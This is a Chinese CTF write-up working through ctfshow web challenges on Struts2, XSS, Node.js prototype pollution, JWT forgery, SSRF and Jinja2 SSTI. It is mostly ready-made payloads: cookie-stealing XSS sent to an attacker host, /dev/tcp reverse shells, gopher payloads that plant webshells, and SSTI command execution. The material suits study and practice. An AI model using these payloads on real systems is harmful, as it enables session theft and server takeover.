ctfshow-Web入门刷题记录3
参考:
CTFshow-WEB入门-node.js
Node.js 常见漏洞学习与总结
CTFSHOW nodejs篇
关于Prototype Pollution Attack的二三事
SSRF常见绕过思路
CTFshow-WEB入门-SSTI
CTFSHOW-SSTI
java web279-297 使用工具 即可
python Struts2Scan.py -u http://069d45bf-4a11-4909-8faf-1a1afff8fd0b.challenge.ctf.show/S2-001/login.action python Struts2Scan.py -u http://069d45bf-4a11-4909-8faf-1a1afff8fd0b.challenge.ctf.show/S2-001/login.action -n S2-003 --exec
根据提示echo FLAG
易知flag在环境变量里,故执行env
命令即可
web295可以用里面的图形化工具(S2-048漏洞)
web298 反汇编一下看看登陆的逻辑即可
/ctfshow/login?username=admin&password=ctfshow
web299 源码中发现
进行文件读取
/view-source?file=WEB-INF/web.xml 发现com.ctfshow.servlet.GetFlag,去读该class文件 /view-source?file=WEB-INF/classes/com/ctfshow/servlet/GetFlag.class 发现/fl3g,去读该文件即可获得flag /view-source?file=../../../../../fl3g
web300
有点逆天,一打开看见php还以为开错题了。。。
跟上一题步骤一样
/?file=WEB-INF/web.xml /?file=WEB-INF/classes/com/ctfshow/servlet/GetFlag.class /?file=../../../../../f1bg
XSS web316 反射型xss
<script > document .location .href ='http://your-ip:your-port/?p=' +document .cookie </script >
然后在自己的vps
上开启监听即可
python3 -m http.server your-port
也可以用nc
web317 过滤了script
<body onload ="document.location.href='http://your-ip:your-port/?p='+document.cookie" > </body >
web318-319 在上一题基础上又过滤了img
<body onload ="document.location.href='http://your-ip:your-port/?p='+document.cookie" > </body >
web320-326 过滤了空格,可以用tab
键或者注释\**\
代替,web323
开始过滤了iframe
<body/**/onload="document.location.href='http://your-ip:your-port/?p='+document.cookie"></body > <body onload ="document.location.href='http://your-ip:your-port/?p='+document.cookie" > </body >
web327 存储型xss
,记得收件人要写admin
<body/**/onload="document.location.href='http://your-ip:your-port/?p='+document.cookie"></body >
web328 注册用户时在密码处插入xss
<script > document .location .href ='http://your-ip:your-port/?p=' +document .cookie </script >
然后拿到管理员的session
,利用该session
以admin
身份去查看用户管理界面,最后在/api/?page=1&limit=10
页面可以得到flag
web329 直接向vps
发送网页源码即可,注册用户的密码如下
<script > $('.laytable-cell-1-0-1' ).each (function (index,value ){if (value.innerHTML .indexOf ('ctf' +'show{' )>-1 ){window .location .href ='http://your-ip:your-port/?p=' +value.innerHTML ;}}); </script >
web330 在用户名处插入我们的payload
,使得管理员修改自身密码
<script > window .location .href ='http://127.0.0.1/api/change.php?p=evo1' </script >
过一段时间后用密码evo1
登录admin
即可,flag
在用户管理界面的第一行欢迎语句处
web331 改用post
修改密码
<script > $.ajax ({url :'api/change.php' ,type :'post' ,data :{p :'evo1' }}); </script >
web332 用下面的payload
作为用户名创建账户使得admin
给用户a
转账,然后购买flag
即可
<script > $.ajax ({url :'api/amount.php' ,type :'post' ,data :{u :'abc' ,a :'10000' }}); </script >
这里注意下最好按照要求注册帐号(密码至少为6位),不然可能出现购买flag
时,即使登录也显示未登录的情况
web333 方法一 可以给自己转账,金额比自己余额小即可
方法二 用下面的payload
作为用户名创建账户使得admin
给用户a
转账,然后购买flag
即可
<script > $.ajax ({url :'api/amount.php' ,type :'post' ,data :{u :'abc' ,a :'10000' }}); </script >
nodejs web334 审计源码
user.js
module .exports = { items : [ {username : 'CTFSHOW' , password : '123456' } ] };
login.js
var express = require ('express' );var router = express.Router ();var users = require ('../modules/user' ).items ; var findUser = function (name, password ){ return users.find (function (item ){ return name!=='CTFSHOW' && item.username === name.toUpperCase () && item.password === password; }); }; router.post ('/' , function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var sess = req.session ; var user = findUser (req.body .username , req.body .password ); if (user){ req.session .regenerate (function (err ) { if (err){ return res.json ({ret_code : 2 , ret_msg : '登录失败' }); } req.session .loginUser = user.username ; res.json ({ret_code : 0 , ret_msg : '登录成功' ,ret_flag :flag}); }); }else { res.json ({ret_code : 1 , ret_msg : '账号或密码错误' }); } }); module .exports = router;
关键点在这一句代码
name!=='CTFSHOW' && item.username === name.toUpperCase () && item.password === password
可以直接小写绕过
也可以用一下大小写漏洞
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。 在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
web335 源码中发现提示<!-- /?eval= -->
,直接命令执行即可
/?eval=require('child_process').execSync('cat fl00g.txt').toString()
child_process.execSync(command[, options])
web336 上一题的payload
被过滤了,换一个函数用
/?eval=require('child_process').spawnSync('ls').stdout.toString() /?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString() /?eval=require('fs').readFileSync('fl001g.txt').toString()
另一个思路
/?eval=__filename /?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')
查看源码
var express = require ('express' ); var router = express.Router (); router.get ('/' , function (req, res, next ) { res.type ('html' ); var evalstring = req.query .eval ; if (typeof (evalstring)=='string' && evalstring.search (/exec|load/i )>0 ){ res.render ('index' ,{ title : 'tql' }); }else { res.render ('index' , { title : eval (evalstring) }); } }); module .exports = router;
直接用fs
模块
/?eval=require('fs').readdirSync('.') /?eval=require('fs').readFileSync('fl001g.txt','utf-8')
也可以用+
拼接,但记得url
编码一下
/?eval=require('child_process')['exe'%2B'cSync']('cat fl001g.txt')
web337 给出了源码
var express = require ('express' );var router = express.Router ();var crypto = require ('crypto' );function md5 (s ) { return crypto.createHash ('md5' ) .update (s) .digest ('hex' ); } router.get ('/' , function (req, res, next ) { res.type ('html' ); var flag='xxxxxxx' ; var a = req.query .a ; var b = req.query .b ; if (a && b && a.length ===b.length && a!==b && md5 (a+flag)===md5 (b+flag)){ res.end (flag); }else { res.render ('index' ,{ msg : 'tql' }); } }); module .exports = router;
数组绕过
/?a[]=1&b[]=1 /?a[]=1&b=1 /?a[x]=1&b[x]=1
web338 关键点在login.js
中的这一部分
utils.copy (user,req.body ); if (secert.ctfshow ==='36dboy' ){ res.end (flag); }
其中copy
函数源码
function copy (object1, object2 ){ for (let key in object2) { if (key in object2 && key in object1) { copy (object1[key], object2[key]) } else { object1[key] = object2[key] } } }
原型链污染(记得使用json
)
{ "__proto__" : { "ctfshow" : "36dboy" } }
web339 在login.js
中有
utils.copy (user,req.body ); if (secert.ctfshow ===flag){ res.end (flag); }
而copy
函数在common.js
中
function copy (object1, object2 ){ for (let key in object2) { if (key in object2 && key in object1) { copy (object1[key], object2[key]) } else { object1[key] = object2[key] } } }
在api.js
中有
router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); res.render ('api' , { query : Function (query)(query)}); });
所以先对login
发包进行污染
{ "__proto__" : { "query" : "return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/your-ip/your-port 0>&1\"')" } }
然后POST
访问api
即可反弹shell
,flag
在
因为该题使用的ejs
是漏洞版本的,所以也可以
{ "__proto__" : { "outputFunctionName" : "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/your-ip/your-port 0>&1\"');var __tmp2" } }
web340 这里与上题不太一样
var user = new function ( ){ this .userinfo = new function ( ){ this .isVIP = false ; this .isAdmin = false ; this .isAuthor = false ; }; } utils.copy (user.userinfo ,req.body );
所以需要向上污染两次
{ "__proto__" : { "__proto__" : { "query" : "return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/your-ip/your-port 0>&1\"')" } } }
web341 打ejs rce
,然后随便访问页面触发即可
{ "__proto__" : { "__proto__" : { "outputFunctionName" : "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/your-ip/your-port 0>&1\"');var __tmp2" } } }
web342-343 变成了jade
模板(几个node模板引擎的原型链污染分析 )
{ "__proto__" : { "__proto__" : { "type" : "Code" , "self" : 1 , "line" : "global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xx/xx 0>&1\"')" } } }
web344 看下给的代码
router.get ('/' , function (req, res, next ) { res.type ('html' ); var flag = 'flag_here' ; if (req.url .match (/8c|2c|\,/ig )){ res.end ('where is flag :)' ); } var query = JSON .parse (req.query .query ); if (query.name ==='admin' &&query.password ==='ctfshow' &&query.isVIP ===true ){ res.end (flag); }else { res.end ('where is flag. :)' ); } });
需要知道nodejs
在处理传入的相同变量时,并非进行覆盖,而是全都放到一个数组里,而JSON.parse
会把数组里的内容用,
连接起来
不同服务器对参数的处理
var arr = ['{"name":"admin"' ,'"password":"ctfshow"' ,'"isVIP":true}' ];var query = JSON .parse (arr);console .log (query)
故可以用下述payload
绕过对,
的检测
/?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
这里把c
进行url
编码,是因为双引号的url
编码是 %22
,和 c
连接起来就是 %22c
,会匹配到正则表达式。
jwt web345 源码中发现<!-- /admin -->
,将cookie
中的auth
字段base64
解码一下并替换其中的user
为admin
{"alg":"None","typ":"jwt"}[{"iss":"admin","iat":1680789865,"exp":1680797065,"nbf":1680789865,"sub":"admin","jti":"831d5be4047a4e23022cf741ea154483"}]
base64
编码后访问/admin/
即可
web346 利用在线工具 加解密即可
密钥为:123456
也可以利用将alg
改为none
,然后利用yu22x
的脚本加密下
import jwttoken_dict = { "iss" : "admin" , "iat" : 1680798024 , "exp" : 1680805224 , "nbf" : 1680798024 , "sub" : "admin" , "jti" : "23661f858b71f258fdffb3c9a7c69d44" } headers = { "alg" : "none" , "typ" : "JWT" } jwt_token = jwt.encode(token_dict, key='' , headers=headers, algorithm="none" , ) print (jwt_token)
web347 利用在线工具 加解密即可
密钥为:123456
web348 利用该工具 爆破
docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY4MDc5ODU2MywiZXhwIjoxNjgwODA1NzYzLCJuYmYiOjE2ODA3OTg1NjMsInN1YiI6InVzZXIiLCJqdGkiOiJmNTI1ZWRkNDJmNGRkNDA5MjI3MzFkYTk4YmFhZGEwMyJ9.HcuFjlWJRS0L-GCXiP8EC2V5o8XtA0TWyBhuspgyxLM
得到密钥为aaab
,然后加密访问/admin/
即可
web349 查看源码
router.get ('/' , function (req, res, next ) { res.type ('html' ); var privateKey = fs.readFileSync (process.cwd ()+'//public//private.key' ); var token = jwt.sign ({ user : 'user' }, privateKey, { algorithm : 'RS256' }); res.cookie ('auth' ,token); res.end ('where is flag?' ); }); router.post ('/' ,function (req,res,next ){ var flag="flag_here" ; res.type ('html' ); var auth = req.cookies .auth ; var cert = fs.readFileSync (process.cwd ()+'//public/public.key' ); jwt.verify (auth, cert, function (err, decoded ) { if (decoded.user ==='admin' ){ res.end (flag); }else { res.end ('you are not admin' ); } }); });
访问/private.key
可以获取到私钥
可以本地复现一个环境(注意jsonwebtoken@8.5.1
,版本太新会报错的),也可以直接运行下面的代码
const jwt = require ('jsonwebtoken' );var fs = require ('fs' );var privateKey = fs.readFileSync ('private.key' );var token = jwt.sign ({ user : 'admin' }, privateKey, { algorithm : 'RS256' });console .log (token)
拿到后记得要POST
访问/
web350 访问/public.key
可以获取到公钥,放到public
目录然后本地复现下
router.get ('/' , function (req, res, next ) { res.type ('html' ); var privateKey = fs.readFileSync (process.cwd ()+'\\public\\public.key' ); var token = jwt.sign ({ user : 'admin' }, privateKey, { algorithm : 'HS256' }); res.cookie ('auth' ,token); res.end ('where is flag?' ); });
改掉路径并把内部字段改成admin
和HS256
即可,然后带着Cookie
里面带着auth
字段去POST
访问/
即可
SSRF web351 <?php error_reporting (0 );highlight_file (__FILE__ );$url =$_POST ['url' ];$ch =curl_init ($url );curl_setopt ($ch , CURLOPT_HEADER, 0 );curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 );$result =curl_exec ($ch );curl_close ($ch );echo ($result );?>
访问flag.php
返回非本地用户禁止访问
,故用ssrf
url=http://127.0.0.1/flag.php
web352 <?php error_reporting (0 );highlight_file (__FILE__ );$url =$_POST ['url' ];$x =parse_url ($url );if ($x ['scheme' ]==='http' ||$x ['scheme' ]==='https' ){if (!preg_match ('/localhost|127.0.0/' )){$ch =curl_init ($url );curl_setopt ($ch , CURLOPT_HEADER, 0 );curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 );$result =curl_exec ($ch );curl_close ($ch );echo ($result );} else { die ('hacker' ); } } else { die ('hacker' ); } ?>
过滤了localhost
和127.0.0
进制转换工具
url=http://127.0.0.1/flag.php url=http://127.0.1/flag.php url=http://127.1/flag.php 也可以进制转换 url=http://0x7F000001/flag.php url=http://0x7F.00.00.01/flag.php url=http://2130706433/flag.php
web353 <?php error_reporting (0 );highlight_file (__FILE__ );$url =$_POST ['url' ];$x =parse_url ($url );if ($x ['scheme' ]==='http' ||$x ['scheme' ]==='https' ){if (!preg_match ('/localhost|127\.0\.|\。/i' , $url )){$ch =curl_init ($url );curl_setopt ($ch , CURLOPT_HEADER, 0 );curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 );$result =curl_exec ($ch );curl_close ($ch );echo ($result );} else { die ('hacker' ); } } else { die ('hacker' ); } ?
进制转换或者127.1
url=http://127.1/flag.php url=http://0x7F000001/flag.php
web354 <?php error_reporting (0 );highlight_file (__FILE__ );$url =$_POST ['url' ];$x =parse_url ($url );if ($x ['scheme' ]==='http' ||$x ['scheme' ]==='https' ){if (!preg_match ('/localhost|1|0|。/i' , $url )){$ch =curl_init ($url );curl_setopt ($ch , CURLOPT_HEADER, 0 );curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 );$result =curl_exec ($ch );curl_close ($ch );echo ($result );} else { die ('hacker' ); } } else { die ('hacker' ); } ?>
用现成的302跳转
url=http://sudo.cc/flag.php
web355 <?php error_reporting (0 );highlight_file (__FILE__ );$url =$_POST ['url' ];$x =parse_url ($url );if ($x ['scheme' ]==='http' ||$x ['scheme' ]==='https' ){$host =$x ['host' ];if ((strlen ($host )<=5 )){$ch =curl_init ($url );curl_setopt ($ch , CURLOPT_HEADER, 0 );curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 );$result =curl_exec ($ch );curl_close ($ch );echo ($result );} else { die ('hacker' ); } } else { die ('hacker' ); } ?>
限制了长度
url=http://127.1/flag.php
web356 <?php error_reporting (0 );highlight_file (__FILE__ );$url =$_POST ['url' ];$x =parse_url ($url );if ($x ['scheme' ]==='http' ||$x ['scheme' ]==='https' ){$host =$x ['host' ];if ((strlen ($host )<=3 )){$ch =curl_init ($url );curl_setopt ($ch , CURLOPT_HEADER, 0 );curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 );$result =curl_exec ($ch );curl_close ($ch );echo ($result );} else { die ('hacker' ); } } else { die ('hacker' ); } ?>
限制了长度
web357 <?php error_reporting (0 );highlight_file (__FILE__ );$url =$_POST ['url' ];$x =parse_url ($url );if ($x ['scheme' ]==='http' ||$x ['scheme' ]==='https' ){$ip = gethostbyname ($x ['host' ]);echo '</br>' .$ip .'</br>' ;if (!filter_var ($ip , FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die ('ip!' ); } echo file_get_contents ($_POST ['url' ]);} else { die ('scheme' ); } ?>
在自己的服务器上放个302.php
然后直接访问即可
<?php header ("Location:http://127.0.0.1/flag.php" );
web358 <?php error_reporting (0 );highlight_file (__FILE__ );$url =$_POST ['url' ];$x =parse_url ($url );if (preg_match ('/^http:\/\/ctf\..*show$/i' ,$url )){ echo file_get_contents ($url ); }
正则意思是以http://ctf.
开头,以show
结尾
url=http://ctf.@127.0.0.1/flag.php#show url=http://ctf.@127.0.0.1/flag.php?show
可以自己看下各个部分代表什么
<?php error_reporting (0 );$url = "http://ctf.@127.0.0.1/flag.php#show" ;$x = parse_url ($url );var_dump ($x );?>
web359 提示打无密码的mysql
,利用该工具 打Gopher
放到returl
然后对后面部分再次url
编码
returl=gopher://127.0.0.1:3306/_%25%61%33%25%30%30%25%30%30%25%30%31%25%38%35%25%61%36%25%66%66%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31%25%32%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%30%25%30%30%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%35%66%25%36%65%25%36%31%25%37%34%25%36%39%25%37%36%25%36%35%25%35%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%30%30%25%36%36%25%30%33%25%35%66%25%36%66%25%37%33%25%30%35%25%34%63%25%36%39%25%36%65%25%37%35%25%37%38%25%30%63%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%38%25%36%63%25%36%39%25%36%32%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%30%34%25%35%66%25%37%30%25%36%39%25%36%34%25%30%35%25%33%32%25%33%37%25%33%32%25%33%35%25%33%35%25%30%66%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%30%36%25%33%35%25%32%65%25%33%37%25%32%65%25%33%32%25%33%32%25%30%39%25%35%66%25%37%30%25%36%63%25%36%31%25%37%34%25%36%36%25%36%66%25%37%32%25%36%64%25%30%36%25%37%38%25%33%38%25%33%36%25%35%66%25%33%36%25%33%34%25%30%63%25%37%30%25%37%32%25%36%66%25%36%37%25%37%32%25%36%31%25%36%64%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%35%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%34%35%25%30%30%25%30%30%25%30%30%25%30%33%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%32%32%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%33%31%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65%25%32%32%25%32%30%25%36%39%25%36%65%25%37%34%25%36%66%25%32%30%25%36%66%25%37%35%25%37%34%25%36%36%25%36%39%25%36%63%25%36%35%25%32%30%25%32%32%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%36%31%25%32%65%25%37%30%25%36%38%25%37%30%25%32%32%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31&u=Username
访问a.php
命令执行即可
http://df264cae-259e-47bf-9466-87850c93f6a3.challenge.ctf.show/a.php POST: 1=system("cat /flag.txt");
web360 提示打redis
<?php error_reporting (0 );highlight_file (__FILE__ );$url =$_POST ['url' ];$ch =curl_init ($url );curl_setopt ($ch , CURLOPT_HEADER, 0 );curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 );$result =curl_exec ($ch );curl_close ($ch );echo ($result );?>
用Gopherus
注意要两次url
编码,并且默认生成的是shell.php
url=gopher://127.0.0.1:6379/_%25%32%41%31%25%30%44%25%30%41%25%32%34%38%25%30%44%25%30%41%66%6c%75%73%68%61%6c%6c%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%31%25%30%44%25%30%41%31%25%30%44%25%30%41%25%32%34%32%38%25%30%44%25%30%41%25%30%41%25%30%41%25%33%43%25%33%46%70%68%70%25%32%30%65%76%61%6c%25%32%38%25%32%34%5f%50%4f%53%54%25%35%42%31%25%35%44%25%32%39%25%33%42%25%33%46%25%33%45%25%30%41%25%30%41%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%64%69%72%25%30%44%25%30%41%25%32%34%31%33%25%30%44%25%30%41%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%31%30%25%30%44%25%30%41%64%62%66%69%6c%65%6e%61%6d%65%25%30%44%25%30%41%25%32%34%39%25%30%44%25%30%41%73%68%65%6c%6c%2e%70%68%70%25%30%44%25%30%41%25%32%41%31%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%73%61%76%65%25%30%44%25%30%41%25%30%41
最后
http://3f5ff281-2fcd-4eb5-9043-323fdb5c4ed8.challenge.ctf.show/shell.php POST: 1=system("cat /flaaag");
SSTI 网上找到的一些有用的知识点
__class__ 类的一个内置属性,表示实例对象的类。 __base__ 类型对象的直接基类 __bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__ __mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。 __subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order. __init__ 初始化类,返回的类型是function __globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。 __dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里 __getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。 __getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b' ],就是a.__getitem__('b' ) __builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。 __import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__ ('os' ).popen('ls' ).read()]__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。 url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__' ]含有current_app。 get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__' ]含有current_app。 lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os' ].popen('ls' ).read()}} current_app 应用上下文,一个全局变量。 request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open 函数:request.__init__.__globals__['__builtins__' ].open ('/proc\self\fd/3' ).read() request.args.x1 get传参 request.values.x1 所有参数 request.cookies cookies参数 request.headers 请求头参数 request.form.x1 post传参 (Content-Type :applicaation/x-www-form-urlencoded或multipart/form-data) request.data post传参 (Content-Type :a/b) request.json post传json (Content-Type : application/json) config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os' ].popen('ls' ).read() }} g {{g}}得到<flask.g of 'flask_ssti' >
网上的一些过滤器
int ():将值转换为int 类型;float ():将值转换为float 类型;lower():将字符串转换为小写; upper():将字符串转换为大写; title():把值中的每个单词的首字母都转成大写; capitalize():把变量值的首字母转成大写,其余字母转小写; trim():截取字符串前面和后面的空白字符; wordcount():计算一个长字符串中单词的个数; reverse():字符串反转; replace(value,old,new): 替换将old替换为new的字符串; truncate(value,length=255 ,killwords=False ):截取length长度的字符串; striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格; escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。 safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>' |safe}}; list ():将变量列成列表;string():将变量转换成字符串; join():将一个序列中的参数值拼接成字符串。示例看上面payload; abs ():返回一个数值的绝对值;first():返回一个序列的第一个元素; last():返回一个序列的最后一个元素; format (value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s" |format ('Hello?' ,"Foo!" ) }}将输出:Helloo? - Foo!length():返回一个序列或者字典的长度; sum ():返回列表内数值的和;sort():返回排序后的列表; default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo' )----如果name不存在,则会使用xiaotuo来替代。boolean=False 默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or 来替换。 length()返回字符串的长度,别名是count
web361 提示名字就是考点
,所以猜测注入点是参数name
/?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__["popen"]("cat /flag").read()}}
web362 过滤了数字2
和3
方法1 多个1
相加
/?name={{().__class__.__mro__[1].__subclasses__()[1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1].__init__.__globals__["popen"]("cat /flag").read()}}
方法2 利用(dict(a=b,c=d)|join|count)
构造出2
,然后66*2=132
即可
/?name={% set e=(dict(b=c,c=d)|join|count)%}{{().__class__.__mro__[1].__subclasses__()[e*66].__init__.__globals__["popen"]("cat /flag").read()}} # 也可以用([a,b]|count)构造出2 /?name={% set e=([a,b]|count)%}{{().__class__.__mro__[1].__subclasses__()[e*66].__init__.__globals__["popen"]("cat /flag").read()}}
方法3 x
可以是任意一个字母
/?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
方法4 利用url_for
/?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}} /?name={{url_for.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")}}
web363 过滤了'
和"
方法1 利用request.arg
绕过过滤
/?name={{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=cat /flag
方法2 通过url_for
找到chr
来拼接
/?name={% set chr=url_for.__globals__.__builtins__.chr %}{{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}} /?name={% set chr=url_for.__globals__.__builtins__.chr %}{{url_for.__globals__.__builtins__.eval(chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41))}}
方法3 利用config
拿到字符串
# popen /?name={{config.__str__()[17]%2bconfig.__str__()[2]%2bconfig.__str__()[17]%2bconfig.__str__()[43]%2bconfig.__str__()[3]}} /?name={{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[config.__str__()[17]%2bconfig.__str__()[2]%2bconfig.__str__()[17]%2bconfig.__str__()[43]%2bconfig.__str__()[3]](request.args.b).read()}}&b=cat /flag
web364 在上一题基础上又过滤了args
,可以使用cookies
/?name={{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[request.cookies.a](request.cookies.b).read()}} Cookie: a=popen;b=cat /flag;
web365 又过滤了中括号[]
方法1 直接用.
就可以了
/?name={{x.__init__.__globals__.__builtins__.eval(request.cookies.a)}} Cookie: a=__import__('os').popen('cat /flag').read()
方法2 使用getitem
/?name={{x.__init__.__globals__.__getitem__(request.cookies.b).eval(request.cookies.a)}} Cookie: a=__import__('os').popen('cat /flag').read();b=__builtins__;
方法3 使用request.values
/?name={{x.__init__.__globals__.__getitem__(request.values.b).eval(request.values.a)}}&b=__builtins__&a=__import__('os').popen('tac /flag').read()
web366 在前面的基础上又过滤了_
,考虑用lipsum
和attr过滤器
/?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag /?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}} Cookie: x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()
web367 在前面的基础上又过滤了os
